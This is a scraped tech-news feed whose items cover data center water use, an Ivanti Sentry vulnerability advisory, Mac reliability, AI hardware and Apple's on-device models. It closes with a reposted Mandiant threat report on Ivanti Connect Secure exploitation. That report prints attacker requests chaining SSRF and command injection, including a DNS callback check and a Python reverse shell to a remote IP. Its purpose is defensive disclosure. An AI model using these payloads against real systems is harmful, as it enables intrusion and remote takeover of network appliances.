Still, it can be difficult to be precise in these measurements, and there are nuances: Is a data center operator only reporting WUE? Do they count the water used to generate electricity (most actually don’t)? Is reclaimed water being counted in the waysame as potable?

But “to Amazon’s credit, they aren’t just shifting the burden elsewhere,” Kimball noted.

Free air cooling and higher operating temperature thresholds reduce both water and energy consumption, and Amazon’s power usage effectiveness (PUE), the standard metric for measuring data center efficiency, sits around 1.15.

“This means they’re not achieving this strong water number at the expense of a weak energy number,” Kimball said.

Not a secret recipe

While the gains are impressive, the techniques Amazon highlights are increasingly becoming standard practices, Kimball pointed out.

“Amazon is on the leading edge, but it’s not a secret recipe,” he said. What sets the company apart is scale, execution, facility design, geographic mix, and its aggressive pursuit of energy goals.

Others are doing the similar things, if through different avenues: Microsoft is investing in closed-loop cooling systems that dramatically reduce evaporative water loss. Google is heavily focused on reclaimed water and using AI to optimize data centers. Meta has long relied on outside-air cooling. And overall, the industry is moving toward liquid cooling for dense AI deployments, “which changes the water equation again,” said Kimball.

One of the big variables is location: Climate influences water efficiency, so where a company builds its infrastructure is as important as its cooling methods. Further, power-consumptive AI changes the discussion, he emphasized; traditional enterprise workloads and dense AI training clusters create very different thermal profiles.

“The industry is still working through what the long-term water and energy balance looks like as AI infrastructure scales,” Kimball said.

The disclosure arms race

As Gogia noted, what separates operators now is disclosure.

For instance, Microsoft has committed to publishing water data for every US data center region, while Equinix reports a portfolio figure of 0.91 L/kWh and 1.41 L/kWh for its evaporative-cooled sites, which is a “boundary discipline most of the market has yet to adopt,” said Gogia.

The next phase of cloud competition will be won on transparency, not just thermodynamics, he contended. “Operators that disclose region by region will expand faster, permit easier and litigate less.” In fact, his firm expects water disclosure to become a standard line item in cloud and AI infrastructure RFPs within 12 to 24 months.

CIOs should demand region-level withdrawal and consumption data, source-water mix, cooling architecture by region, drought contingency plans, and a “clean separation between operational efficiency and replenishment accounting,” Gogia advised.

Meanwhile, the timing of this reporting tells its own story: Amazon published these figures two days after its home city Seattle put a one-year freeze on new large data centers, citing water use as a big concern. Further, more than 70 US jurisdictions now have temporary or permanent restrictions, and the European Commission is preparing efficiency standards with water criteria.

So, this can be construed as a sustainability report as much as a “social-license counteroffensive,” said Gogia.

AI is changing the game entirely

Buyers should care about these developments for practical reasons beyond environmental, social, and governance (ESG) reporting, Kimball said.

First, water is becoming a real constraint on where data centers can be built, and communities are pushing back on development. This can impact capacity, expansion timelines, and operating costs in high-demand markets, he said.

Second, a cloud provider’s water footprint increasingly becomes part of a customer’s own sustainability profile. Therefore, organizations with environmental reporting requirements or water-related goals are paying closer attention to the resource consumption of the infrastructure supporting their apps and AI workloads.

Ultimately, Gogia noted, data centers are no longer invisible infrastructure: They are becoming contested civic infrastructure.

“The winners will treat water as a shared public constraint rather than a line item in sustainability theater,” he said. “The future of AI infrastructure will be decided as much by resource stewardship as by engineering capability.”

]]> <![CDATA[I filtered the early Amazon Prime Day 3D printer deals down to our 4.5-star workshop-tested winners]]> https://tsecurity.de/de/3591406/it-nachrichten/i-filtered-the-early-amazon-prime-day-3d-printer-deals-down-to-our-45-star-workshop-tested-winners/ https://tsecurity.de/de/3591406/it-nachrichten/i-filtered-the-early-amazon-prime-day-3d-printer-deals-down-to-our-45-star-workshop-tested-winners/ Thu, 11 Jun 2026 19:17:35 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Our expert's favorite mid-range resin printer just plummeted to $480 ahead of Prime Day — and the lightning-fast Anycubic Photon Mono M7 Pro delivers 'outstanding print quality']]> https://tsecurity.de/de/3591223/it-nachrichten/our-experts-favorite-mid-range-resin-printer-just-plummeted-to-480-ahead-of-prime-day-and-the-lightning-fast-anycubic-photon-mono-m7-pro-delivers-outstanding-print-quality/ https://tsecurity.de/de/3591223/it-nachrichten/our-experts-favorite-mid-range-resin-printer-just-plummeted-to-480-ahead-of-prime-day-and-the-lightning-fast-anycubic-photon-mono-m7-pro-delivers-outstanding-print-quality/ Thu, 11 Jun 2026 18:16:54 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Ivanti patches critical Sentry flaws that lead to full device takeover]]> https://tsecurity.de/de/3588821/it-security-nachrichten/ivanti-patches-critical-sentry-flaws-that-lead-to-full-device-takeover/ https://tsecurity.de/de/3588821/it-security-nachrichten/ivanti-patches-critical-sentry-flaws-that-lead-to-full-device-takeover/ Wed, 10 Jun 2026 22:23:57 +0200 📰 IT Security Nachrichten tsecurity.de

IT software provider Ivanti fixed two vulnerabilities in Ivanti Sentry, a secure mobile gateway appliance formerly called MobileIron Sentry. The flaws could allow unauthenticated remote attackers to gain complete control of deployments.

One of the vulnerabilities, CVE-2026-10523, credited to researcher Bryan Lam, allows attackers to bypass authentication and create arbitrary administrative accounts on appliances. The flaw is rated with a severity of 9.9 out of 10 on the CVSS scale.

The second flaw, CVE-2026-10520, is a command injection issue that can lead to remote code execution with root privileges on the underlying OS. Because the vulnerability can be exploited remotely without authentication, it is rated with the maximum CVSS severity score of 10.

Ivanti Sentry is an in-line gateway that manages, encrypts, and secures traffic between mobile devices and back-end enterprise servers such as Microsoft Exchange. It works together with Ivanti Endpoint Manager Mobile (EPMM) to enforce access restrictions and device verification. As such, the appliance is typically deployed at the enterprise network edge and is accessible from the internet.

Both vulnerabilities were reported privately through Ivanti’s responsible disclosure program, and the company is not aware of public exploitation at this time. But attackers, including state-sponsored cyberespionage groups, have exploited vulnerabilities in Ivanti products and network-edge appliances many times in the past.

Furthermore, researchers from security firm watchTowr have posted a detailed analysis of CVE-2026-10520 and the exploit is trivial to execute. The researchers released a Python script that enables organizations to test whether their deployments are vulnerable.

Ivanti Sentry customers are advised to upgrade their deployments to versions 10.5.2, 10.6.2, or 10.7.1 as soon as possible.

]]> <![CDATA[ASUS ROG G1000 20th Anniversary Desktop Has THIS World's First Feature!]]> https://tsecurity.de/de/3588690/videos/asus-rog-g1000-20th-anniversary-desktop-has-this-worlds-first-feature/ https://tsecurity.de/de/3588690/videos/asus-rog-g1000-20th-anniversary-desktop-has-this-worlds-first-feature/ Wed, 10 Jun 2026 21:03:01 +0200 đŸŽ„ Videos tsecurity.de Author: Shannon Morse - Bewertung: 3x - Views:70

🚀 ASUS brought one of the most epic desktops at Computex 2026. The ROG G1000 20th Anniversary Edition features AniMe Holo, a redesigned Thermal Atrium cooling system, and an AMD Ryzenℱ 9 9950X3D processor paired with an RTX 5090. What do you think? đŸ”„ @AMD @asusrog

#Computex2026

]]> <![CDATA[I found two great EcoTank printer deals on Amazon — but you should only buy this one]]> https://tsecurity.de/de/3588438/it-nachrichten/i-found-two-great-ecotank-printer-deals-on-amazon-but-you-should-only-buy-this-one/ https://tsecurity.de/de/3588438/it-nachrichten/i-found-two-great-ecotank-printer-deals-on-amazon-but-you-should-only-buy-this-one/ Wed, 10 Jun 2026 19:03:44 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Apple Silicon boosts the TCO benefit of Macs — report]]> https://tsecurity.de/de/3588269/it-nachrichten/apple-silicon-boosts-the-tco-benefit-of-macs-report/ https://tsecurity.de/de/3588269/it-nachrichten/apple-silicon-boosts-the-tco-benefit-of-macs-report/ Wed, 10 Jun 2026 18:18:43 +0200 📰 IT Nachrichten tsecurity.de

Apple Silicon Macs fail at less than half the rate of Intel Macs, dramatically reducing the platform’s already industry-leading total cost of ownership (TCO), according to data revealed by London, UK-based Apple reseller Hoxton Macs.

While it’s true the data is based on a relatively small sample group, it does seem to reflect what the industry in general sees.

Apple’s chip design transforms Mac reliability

The success of Apple Silicon hardware is attributed to its simpler design, which integrates multiple components into a single chip, reducing the number of potential failure points. Additionally, Apple Silicon Macs run cooler, leading to less wear and tear on components such as batteries and USB-C ports, the report says. Across the wider laptop market, most studies show hardware faults affect one in five non-Apple machines over their first three years in use.

This builds on Apple’s enduring record for making good hardware as independent reliability surveys consistently rank the company as the most reliable laptop brand. To some extent, the data reflects the anecdotal experience most Mac users have — their computers seem to last much longer than other systems do, which helps them retain value on the second-user market.

Apple already had a good story to tell in terms of tech support before it introduced Apple Silicon machines. More than a decade ago, Fletcher Previn, then vice president of Workplace-as-a-Service at IBM, told the Jamf Nation User Conference that just 5% of IBM’s Mac-using employees needed to call the help desk; in contrast, an astonishing 40% of PC-using staff had to do so. That difference is significant because it translates into serious differences in cost; each tech support call made by those working on your ailing PC fleet has a price.

That TCO difference prompted Previn to say, “I can confidently say every Mac that we buy is making and saving IBM money.” Years later, as CIO at Cisco, he said the company’s tens of thousands of Mac users experienced five times fewer cyberthreats and nine times fewer virus issues than PCs, and that Cisco needed 33% fewer engineers to manage the Macs.

Those impressive real-world data points reflected Macs in the pre-Apple Silicon world. Those Intel Macs already worked better for longer and required less tech support. This month’s Hoxton Macs data, while based on a much smaller sample group, suggests that this particular advantage has grown even greater now. And it’s not just down to the silicon.

Fewer parts, less heat, fewer failures

Apple has designed its processors to deliver excellent performance per watt. Because these are SoCs (System on Chips) the power requirement to drive all the system components is that much lower, and it means whole categories of component failure are removed. The design also means they use less energy and generate less heat to run, dramatically reducing thermal wear and tear. 

“Fewer parts, less heat, simpler construction: the result is a machine with markedly fewer ways to break,” Hoxton Mac said in an extensive article explaining its data.

>Failure rates are consequential to everyone. Even a small failure rate means some people will end up with Macs that have hardware issues, which is always a problem for those affected. But the low fail rate should be reassuring to the millions of people switching to Apple’s  href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">even cooler-running MacBook Neos>. 

Those users might now justifiably look forward to lower running costs from their new computers, combined with good resale rates once they’re ready to upgrade. It doesn’t hurt Apple’s platform loyalty either — making it even more likely those millions of users will stay with the Mac rather than going back to where they were before.

You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and The Core.

]]> <![CDATA[Windows 11: Ready Print wird zum Standard fĂŒr Druckertreiber]]> https://tsecurity.de/de/3588088/it-security-nachrichten/windows-11-ready-print-wird-zum-standard-fuer-druckertreiber/ https://tsecurity.de/de/3588088/it-security-nachrichten/windows-11-ready-print-wird-zum-standard-fuer-druckertreiber/ Wed, 10 Jun 2026 17:09:30 +0200 📰 IT Security Nachrichten tsecurity.de Drucker, Canon, printer, Maxify GX7050, Megatank Microsoft hat vor einigen Tagen mit der Auslieferung von Windows 11 Build 26300.8553 im Experimental-Kanal des Insider-Programms begonnen. Mit der neuen Vorabversion beginnt die Umstellung des Umgangs mit Druckern auf das sogenannte Windows Ready Print. (Weiter lesen)]]> <![CDATA[Commonwealth Fusion Makes the Physics Case For Its 400 MW Reactor]]> https://tsecurity.de/de/3587441/it-security-nachrichten/commonwealth-fusion-makes-the-physics-case-for-its-400-mw-reactor/ https://tsecurity.de/de/3587441/it-security-nachrichten/commonwealth-fusion-makes-the-physics-case-for-its-400-mw-reactor/ Wed, 10 Jun 2026 13:22:21 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[AI power efficiency the target of Lotus Microsystems energy advances]]> https://tsecurity.de/de/3585959/it-security-nachrichten/ai-power-efficiency-the-target-of-lotus-microsystems-energy-advances/ https://tsecurity.de/de/3585959/it-security-nachrichten/ai-power-efficiency-the-target-of-lotus-microsystems-energy-advances/ Tue, 09 Jun 2026 22:38:19 +0200 📰 IT Security Nachrichten tsecurity.de

Lotus Microsystems has introduced vStrata, a new power-delivery architecture aimed at Improving data center power efficiency, a pressing concern even in a non-AI environment.

At the heart of the platform is the company’s proprietary Power Interposer Technology (PIT), a silicon-based interposer architecture that enables power conversion and delivery closer to the processor package. The PIT uses a vertical power delivery (VPD) chip and package designed to deliver electrical power directly through the package stack to the processor.

By shortening current paths and integrating thermal management directly into the power-delivery structure, vStrata aims to reduce conversion losses while improving cooling efficiency.

According to Lotus Microsystems, the module can achieve point-of-load efficiencies of up to 96% while reducing power-conversion losses by more than 50% compared with conventional approaches.

“We focus very much on a topology technology that is more efficient, so it basically means that for the amount of power that you put into the power converter, you get more power out, and you have less power losses,” said Hans Hasselby-Andersen, CEO of Lotus.

“Another unique thing about our solution is where we utilize our silicon substrate technology to effectively remove the heat from the solution, so where others are focusing on the power side of power delivery, we also handle the thermal issues related to power conversion,” he added.

No power converter is 100% efficient, usually about 90% efficient. Lotus’s PID is 96% efficient, making for a 60% reduction in power loss. With banks of power consuming GPUs, that adds up, so much so data centers could potentially stick with air cooling rather than be forced to use liquid cooling.

“There’s no doubt that if you deploy this technology across the board, you would definitely be able to reduce the energy that you put into cooling data centers, and not only energy, but issues with water consumption,” said Hasselby-Andersen.

Lotus Microsystems states that vStrata maintains compatibility with existing power-management controllers and reference designs, potentially easing adoption among semiconductor and system vendors.

vStrata comes in the form of power supplies, and Lotus is working with major server vendors and hyperscalers, but the new power supplies are not suitable for retrofitting into existing server racks. “There’s no industry standard [for server power supplies], so there’s no default footprint you can live up to,” said Hasselby-Andersen.

Engineering samples of the LSC0580 – the first vStrata platform module – are scheduled to ship in Q3 2026.

]]> <![CDATA[Arista unveils 1.6T rack-scale switch family for AI infrastructure]]> https://tsecurity.de/de/3585875/it-security-nachrichten/arista-unveils-16t-rack-scale-switch-family-for-ai-infrastructure/ https://tsecurity.de/de/3585875/it-security-nachrichten/arista-unveils-16t-rack-scale-switch-family-for-ai-infrastructure/ Tue, 09 Jun 2026 21:53:43 +0200 📰 IT Security Nachrichten tsecurity.de

Arista Networks has taken the wraps off its 7060XE7 Series, a new portfolio of 1.6T networking platforms designed to provide the foundation for rack-scale AI infrastructure. 

The 7060XE7 family features fixed switch platforms and configurable rack-scale systems, targeting racks for vertical and horizontal AI workflows. All will run Arista’s Extensible Operating System (EOS), which includes low-latency and intelligent packet buffering to manage the intense microbursts typical of AI communication and collective patterns, Arista stated.

The 7060XE7 family is built on Broadcom Tomahawk 6 silicon. Arista is also working with AMD on next-generation compute silicon and NICs to enable scale-out AI fabrics. the company said.

Strategically, the 7060XE7 Series signifies Arista’s transition from offering standalone, high-performance switches to providing rack-scale systems that can handle the extreme density, power, and thermal efficiency AI requires, Arista stated. The platforms allow customers to build scale-up and scale-out AI fabrics using air, liquid and hybrid-cooled technology.

Specific configurations include:

  • 7060XE7-64PS and 7060XE7-64PRS 4U Rack Switches: Available in Q4, these air-cooled systems offer support for pluggable Integrated heat sink (IHS) and Riding heat sink (RHS) optics. IHS is aimed at current air-cooled data centers, and RHS would be aimed at future liquid‑cooled AI fabrics and extreme port density, Arista stated.
  • 7060XE7-64PRS-RV3-L: This is a specialized 2OU liquid-cooled platform for high-density clusters, featuring 224G SerDes. This system uses DC power from the ORv3 rack and contains no internal fans, integrating with liquid-cooled XPU servers to maximize power efficiency. It will be available in Q1 2027.
  • 7060XE7-128PE: Also coming in Q1 2027, these devices provide 128 800G ports in an air-cooled 4RU design, utilizing 100G SerDes, for environments requiring deployment flexibility and backward compatibility.

On the software side, EOS is the featured network operating system, but the family also supports open-source software such as Software for Open Networking in the Cloud (SONIC) and OpenSwitch. 

One of the portfolio’s key features is the inclusion of full support for Open Compute Project’s Multipath Reliable Connection (MRC). MRC is an RDMA‑based transport protocol that allows a single reliable connection to simultaneously use many network paths over Ethernet.

“MRC is an open protocol where endstation NICs stripe their traffic across multiple links and paths to the receiver, with out of order packets automatically handled,” wrote Arista’s Kenneth Duda, president and CTO, and Alan Judge, distinguished engineer, in a blog about the technology. “MRC responds to network congestion signals (ECN and packet trimming), shifting load to the best-performing paths, and avoiding links and paths that can’t actually reach the destination altogether.”

MRC monitors each path, steering around congestion, avoiding paths with link errors, and avoiding failed links, the authors stated. “We’ve proven in production that this approach achieves very high fabric utilization with good load balancing, while interoperating seamlessly with scale-across and WAN networks utilizing standard dynamic routing protocols,” Duda and Judge wrote.

The software also supports load balancing, congestion management, telemetry and diagnostics, and other technologies that will be core to AI networking, Arista stated.

The new Arista family joins a growing ecosystem of vendors looking to tap into the 1.6T Ethernet world, which includes Cisco, Nvidia, Celestica and others.

“Arista Network’s new 7060XE7 Series is a strong signal of where large-scale AI fabrics are heading: higher bandwidth, better power efficiency, and tighter integration between compute, optics, silicon, cooling, and network operating software,” wrote Sameh Boujelbene, vice president, data center switch and AI networks market research for Dell Oro, in a LinkedIn post. Among the features that stand out to her are “strong customer and ecosystem validation from Microsoft Azure, Oracle Cloud Infrastructure, Meta, AMD, and Broadcom.”

]]> <![CDATA[MIT boffins take electrospray nozzles out of the cleanroom, into the 3D printer]]> https://tsecurity.de/de/3585603/it-nachrichten/mit-boffins-take-electrospray-nozzles-out-of-the-cleanroom-into-the-3d-printer/ https://tsecurity.de/de/3585603/it-nachrichten/mit-boffins-take-electrospray-nozzles-out-of-the-cleanroom-into-the-3d-printer/ Tue, 09 Jun 2026 20:32:54 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[On-device AI agents hit a hard memory limit. Apple's new architecture routes around it.]]> https://tsecurity.de/de/3585602/it-nachrichten/on-device-ai-agents-hit-a-hard-memory-limit-apples-new-architecture-routes-around-it/ https://tsecurity.de/de/3585602/it-nachrichten/on-device-ai-agents-hit-a-hard-memory-limit-apples-new-architecture-routes-around-it/ Tue, 09 Jun 2026 20:32:48 +0200 📰 IT Nachrichten tsecurity.de On-device AI models have stayed small because the entire weight set has to live in DRAM, capping practical parameter counts well below what server-side deployments use. Enterprise architects evaluating agentic workloads have had to choose between capable cloud-dependent models and limited on-device ones. Apple's third-generation foundation models, announced at WWDC26, break that constraint by moving the weight set off DRAM entirely.

The AFM 3 family was developed in collaboration with Google and spans five models: two on-device and three server-based, all running within Apple's Private Cloud Compute boundary. The server-side models, including AFM 3 Cloud Pro for agentic tool use and complex reasoning, run on Nvidia GPUs in Google Cloud. The on-device architecture is Apple's own. AFM 3 Core Advanced is a 20-billion-parameter model that stores weights in NAND flash rather than DRAM.

"Instead of forcing the entire model into DRAM, the full model is stored in flash memory," Apple's research team wrote. "Because NAND-to-DRAM bandwidth is too slow to swap weights token by token, as standard MoE models require, AFM 3 Core Advanced makes routing decisions per prompt."

How the architecture actually works

The memory wall Apple is working around is one every local AI developer runs into. "You can't put 20B parameters in RAM at any reasonable precision," Awni Hannun, a researcher at Anthropic and former Apple research scientist, posted on X. "To make it work they are using pretty exotic architecture by today's standards. A small model predicts from the query (or prompt) which experts to load from NAND into RAM."

That prediction-and-load mechanism has three distinct components, each driven by the hardware constraints of consumer silicon.

The full 20B weight set lives in flash, not DRAM. AFM 3 Core Advanced stores its entire parameter set in NAND flash rather than active memory. Standard on-device deployments require the full model to fit in DRAM, which is what caps their parameter counts. Apple's approach, which it calls Instruction-Following Pruning (IFP) and developed with its own researchers, treats flash as the model's permanent home and DRAM as a working buffer for whichever experts a given prompt requires.

Expert routing happens once per prompt, not per token. In a conventional Mixture of Experts model, a router selects different experts for every token generated — which would require continuous weight movement between flash and DRAM at inference speed. NAND-to-DRAM bandwidth cannot support that. AFM 3 Core Advanced routes once at prompt time, selects a fixed expert set, loads it into DRAM alongside always-active shared experts, and generates all tokens from that same configuration. "The key distinction from a typical MoE is that you do this once per query and then generate all the tokens with the same experts," Hannun wrote.

Active parameter count scales from 1B to 4B depending on task complexity. Rather than running a fixed model size for every request, AFM 3 Core Advanced adjusts how many parameters it activates based on what the task requires — 1 billion for simpler operations, up to 4 billion for harder ones, all drawn from the 20-billion-parameter pool in flash.

What Apple has and hasn't disclosed

The architecture paper is detailed on the memory design and sparse activation mechanism. It is less forthcoming on practical deployment constraints.

Apple's profiling tools expose timing but not the metrics that decide production viability. "Energy, memory bandwidth, thermal? Not in the docs," Marco Abis, who is building Ziraph, a profiler for local AI on Apple silicon, posted on X. "A notable gap, given those decide most of on-device performance." 

Abis also did not find a statement in Apple's documentation — across the Core AI docs, the Foundation Models docs or the Private Cloud Compute security post — of when an on-device request transparently offloads, or whether that routing is visible to the developer or the user. For enterprises that need to document where inference runs, that is a direct compliance problem.

Not all the information is currently available. Apple has indicated a full technical report with benchmarks is coming later this summer.

What this means for enterprise architects

Regulated industries evaluating agentic AI deployments now have a concrete architectural decision to make.

  • The DRAM wall for on-device agents just moved. Enterprises evaluating agents that need to run without a cloud round-trip now have a 20-billion-parameter local option to evaluate. The constraint shifts from model capability to device hardware.

  • The private/cloud boundary is now an architectural decision, not a default. Simpler requests stay on-device; complex agentic tasks route to AFM 3 Cloud Pro on Private Cloud Compute. Apple has not publicly specified when a request offloads or whether that routing is visible to the developer — a gap that complicates policy decisions for organizations that need to document where inference runs.

  • The agentic server tier depends on Google Cloud. AFM 3 Cloud Pro runs on Nvidia GPUs in Google Cloud. The Private Cloud Compute guarantee covers data privacy. It does not eliminate the Google Cloud dependency for server-side inference.

AFM 3 Core Advanced gives enterprises a 20-billion-parameter on-device option that did not exist before WWDC26. Whether it is deployable at scale depends on answers Apple has not yet published. Those details are due in the summer technical report.

]]> <![CDATA[Brother MFC-L8970CDW color laser printer review: A downsized, upgraded spin on the company's best enterprise printer]]> https://tsecurity.de/de/3584729/it-nachrichten/brother-mfc-l8970cdw-color-laser-printer-review-a-downsized-upgraded-spin-on-the-companys-best-enterprise-printer/ https://tsecurity.de/de/3584729/it-nachrichten/brother-mfc-l8970cdw-color-laser-printer-review-a-downsized-upgraded-spin-on-the-companys-best-enterprise-printer/ Tue, 09 Jun 2026 15:47:11 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[USN-8405-1: CUPS vulnerabilities]]> https://tsecurity.de/de/3582145/unix-server/usn-8405-1-cups-vulnerabilities/ https://tsecurity.de/de/3582145/unix-server/usn-8405-1-cups-vulnerabilities/ Mon, 08 Jun 2026 18:45:58 +0200 🐧 Unix Server tsecurity.de <![CDATA[Slash your printing costs: Epson EcoTank ET-2400 is the cheapest all-in-one ink tank printer right now, with big savings at Amazon]]> https://tsecurity.de/de/3581873/it-nachrichten/slash-your-printing-costs-epson-ecotank-et-2400-is-the-cheapest-all-in-one-ink-tank-printer-right-now-with-big-savings-at-amazon/ https://tsecurity.de/de/3581873/it-nachrichten/slash-your-printing-costs-epson-ecotank-et-2400-is-the-cheapest-all-in-one-ink-tank-printer-right-now-with-big-savings-at-amazon/ Mon, 08 Jun 2026 17:17:46 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Thermal Grizzly: Erste LĂŒfter, WireView II, eine Noctua Edition und TG Coating]]> https://tsecurity.de/de/3581000/it-nachrichten/thermal-grizzly-erste-luefter-wireview-ii-eine-noctua-edition-und-tg-coating/ https://tsecurity.de/de/3581000/it-nachrichten/thermal-grizzly-erste-luefter-wireview-ii-eine-noctua-edition-und-tg-coating/ Mon, 08 Jun 2026 11:47:19 +0200 📰 IT Nachrichten tsecurity.de

Thermal Grizzly hat auf der Computex gleich eine ganze Palette an neuen Produkten vorgestellt. Mit den GehĂ€uselĂŒftern „DeltaMate Purrformante“ in zwei Dimensionen befindet sich auch der Einstieg in ein ganz neues Produktsegment darunter. Updates gab es auch fĂŒr WireView und die Full-Cover-GPU-WasserkĂŒhler der DeltaMate-Serie.

]]> <![CDATA[The IoT Appliance Repair Gap: When Your Wi-Fi Dishwasher Breaks, Who Actually Fixes It?]]> https://tsecurity.de/de/3579744/it-security-nachrichten/the-iot-appliance-repair-gap-when-your-wi-fi-dishwasher-breaks-who-actually-fixes-it/ https://tsecurity.de/de/3579744/it-security-nachrichten/the-iot-appliance-repair-gap-when-your-wi-fi-dishwasher-breaks-who-actually-fixes-it/ Sun, 07 Jun 2026 19:37:04 +0200 📰 IT Security Nachrichten tsecurity.de In this post, I will talk about the IoT appliance repair gap and aswer the question – when your Wi-Fi dishwasher breaks, who actually fixes it? Connected appliances have created a category of failure that most authorised service networks are not set up to handle. When a smart dishwasher stops working in a Dubai apartment, [
]

The post The IoT Appliance Repair Gap: When Your Wi-Fi Dishwasher Breaks, Who Actually Fixes It? appeared first on SecureBlitz Cybersecurity.

]]> <![CDATA[Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts]]> https://tsecurity.de/de/3578877/it-security-nachrichten/cutting-edge-part-3-investigating-ivanti-connect-secure-vpn-exploitation-and-persistence-attempts/ https://tsecurity.de/de/3578877/it-security-nachrichten/cutting-edge-part-3-investigating-ivanti-connect-secure-vpn-exploitation-and-persistence-attempts/ Sun, 07 Jun 2026 08:22:29 +0200 📰 IT Security Nachrichten tsecurity.de

Written by: Matt Lin, Robert Wallace, Austin Larsen, Ryan Gandrud, Jacob Thompson, Ashley Pearson, Ashley Frazer

 

Mandiant and Ivanti's investigations into widespread Ivanti zero-day exploitation have continued across a variety of industry verticals, including the U.S. defense industrial base sector. Following the initial publication on Jan. 10, 2024, Mandiant observed mass attempts to exploit these vulnerabilities by a small number of China-nexus threat actors, and development of a mitigation bypass exploit targeting CVE-2024-21893 used by UNC5325, which we introduced in our "Cutting Edge, Part 2" blog post. 

Notably, Mandiant has identified UNC5325 using a combination of living-off-the-land (LotL) techniques to better evade detection, while deploying novel malware such as LITTLELAMB.WOOLTEA in an attempt to persist across system upgrades, patches, and factory resets. While the limited attempts observed to maintain persistence have not been successful to date due to a lack of logic in the malware's code to account for an encryption key mismatch, it further demonstrates the lengths UNC5325 will go to maintain access to priority targets and highlights the importance of ensuring network appliances have the latest updates and patches.

Ivanti customers are urged to take immediate action to ensure protection if they haven't done so already. A new version of the external Integrity Checking Tool (ICT), which helps detect these persistence attempts, is now available. See Ivanti's security advisory and refer to our updated remediation and hardening guide, which includes the latest recommendations.

The exploitation of the Ivanti zero-days has likely impacted numerous appliances. While much of the activity has been automated, there has been a smaller subset of follow-on activity providing further insights on attacker tactics, techniques, and procedures (TTPs). Mandiant assesses additional actors will likely begin to leverage these vulnerabilities to enable their operations.

To date, Ivanti has disclosed the following five vulnerabilities affecting Ivanti Connect Secure and other products.

Date

CVE

CVSS

Description

Jan. 10, 2024

CVE-2023-46805

8.2

Authentication bypass vulnerability in web component

Jan. 10, 2024

CVE-2024-21887

9.1

Command injection vulnerability in web component

Jan. 31, 2024

CVE-2024-21888

8.8

Privilege escalation vulnerability in web component

Jan. 31, 2024

CVE-2024-21893

8.2

SSRF vulnerability in the SAML component

Feb. 08, 2024

CVE-2024-22024

8.3

XXE vulnerability in the SAML component

Table 1: Ivanti vulnerability disclosures Jan. 10, 2024 to Feb. 8, 2024

In our previous blog post, we described a mitigation bypass that was used to drop a newly identified BUSHWALK webshell. The mitigation bypass is now tracked as CVE-2024-21893. It is a server-side request forgery (SSRF) vulnerability in the SAML component of Ivanti Connect Secure (CS), Policy Secure (PS), and Neurons for Zero Trust Access (NZTA) appliances that was addressed in the patches and mitigations released on Jan. 31, 2024. 

Since that post, an additional vulnerability was reported on Feb. 8, 2024, by Ivanti, CVE-2024-22024, related to an XML External Entity (XXE) vulnerability in the SAML component that allows unauthenticated attackers to gain access to restricted resources on patched appliances.

Attribution

UNC5325

UNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti Connect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and modified the appliance's settings in order to evade detection and attempt to maintain persistence. UNC5325 has been observed deploying LITTLELAMB.WOOLTEA, PITSTOP, PITDOG, PITJET, and PITHOOK. Mandiant identified TTPs and malware code overlaps in LITTLELAMB.WOOLTEA and PITHOOK with malware leveraged by UNC3886. Mandiant assesses with moderate confidence that UNC5325 is associated with UNC3886.

UNC3886

UNC3886 is a suspected Chinese espionage operator that has compromised network devices at targets where they leveraged novel techniques against virtualization technologies. They installed custom malware built for such technologies by leveraging code from open-source projects as well as exploiting zero-day vulnerabilities. UNC3886 has primarily targeted the defense industrial base, technology, and telecommunication organizations located in the US and APJ regions. We are continuing to gather evidence and identify overlaps between UNC3886 and other suspected Chinese espionage groups, including targeting and the use of distinct tactics, techniques, and procedures (TTPs). 

New TTPs and Malware

Since our last blog post on Ivanti exploitation, Mandiant has identified UNC5325 exploiting CVE-2024-21893 (SSRF) to deploy additional malware and maintain persistent access to compromised appliances. In addition, we have observed new TTPs that attempted to enable the custom backdoors to persist across factory resets, system upgrades, and patches. The limited attempts observed to maintain persistence have not been successful to date.

Exploitation of CVE-2024-21893 (SSRF)

Mandiant identified active exploitation of CVE-2024-21893 by UNC5325 as early as Jan. 19, 2024, targeting a limited number of Ivanti Connect Secure appliances.

On Jan. 31, 2024, Ivanti disclosed CVE-2024-21893, a server-side request forgery (SSRF) vulnerability in the SAML component of Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA. To date, we have only identified successful exploitation against Ivanti Connect Secure appliances.

In the same Jan. 31, 2024, announcement, Ivanti released a new XML mitigation to prevent exploitation of all four (4) disclosed CVEs at the time of the announcement. This included:

  • CVE-2023-46805 (authentication bypass)
  • CVE-2024-21887 (command injection)
  • CVE-2024-21888 (privilege escalation)
  • CVE-2024-21893 (server-side request forgery)

CVE-2024-21893 allowed for an unauthenticated attacker to exploit an appliance by chaining the previously disclosed command injection vulnerability as described in CVE-2024-21887. This includes appliances with the XML mitigation released on Jan. 10, 2024.

Chaining CVE-2024-21893 (SSRF) and CVE-2024-21887 (Command Injection)

Shortly after the disclosure of CVE-2024-21893, Mandiant observed threat actors chaining the SSRF vulnerability with the command injection vulnerabilities described in CVE-2024-21887 to exploit vulnerable devices.

In some instances, publicly available services, such as Interactsh, were used to validate whether the target was vulnerable to CVE-2024-21893.

GET /api/v1/license/keys-status/;python -c 'import 
socket;socket.gethostbyname("<randomstring>.oast.live")'

Figure 1: CVE-2024-21893 vulnerability validation

Shortly after a vulnerable target was identified, the threat actor executed follow-on commands to perform reconnaissance and, in some cases, establish a reverse shell.

GET /api/v1/license/keys-status/;python -c 'import 
socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
;s.connect(("<remote_ip>",<port>));subprocess.call(["/bin/sh","-i"]

Figure 2: Python reverse TCP shell

Identifying Exploitation Attempts

